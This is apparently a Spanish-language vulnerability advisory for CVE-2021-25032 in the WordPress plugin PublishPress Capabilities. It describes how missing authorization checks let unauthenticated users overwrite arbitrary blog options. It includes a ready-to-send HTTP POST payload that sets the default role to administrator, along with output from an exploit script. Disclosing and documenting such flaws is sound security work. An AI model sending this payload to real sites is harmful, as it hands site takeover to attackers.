
PublishPress Capabilities < 2.3.1 - Actualización no autenticada de opciones arbitrarias que compromete el blog
PublishPress Capabilities 2.2 - 2.3 - Actualización no autenticada de opciones arbitrarias que compromete el blog
El plugin no tiene comprobaciones de autorización ni CSRF al actualizar sus ajustes a través del hook init, y no garantiza que las opciones a actualizar pertenezcan al plugin. Como resultado, atacantes no autenticados podrían actualizar opciones arbitrarias del blog, como el rol por defecto, y hacer que cualquier nuevo usuario registrado tenga un rol de administrador.
POST /wp-admin/admin.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 81
Connection: close
page=pp-capabilities-settings&all_options=default_role&default_role=administrator
$ python3 CVE-2021-25032.py -u http://wordpress.lan
The plugin version is below 2.3.1.
The plugin version is 2.2
Vulnerability check: http://wordpress.lan
You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.
Deshabilitar registro y suscriptor
$ python3 CVE-2021-25032.py -u http://wordpress.lan --fix yes
Vulnerability check: http://wordpress.lan
Options set successfully: http://wordpress.lan/wp-admin/admin.php
Fixed: You can not longer register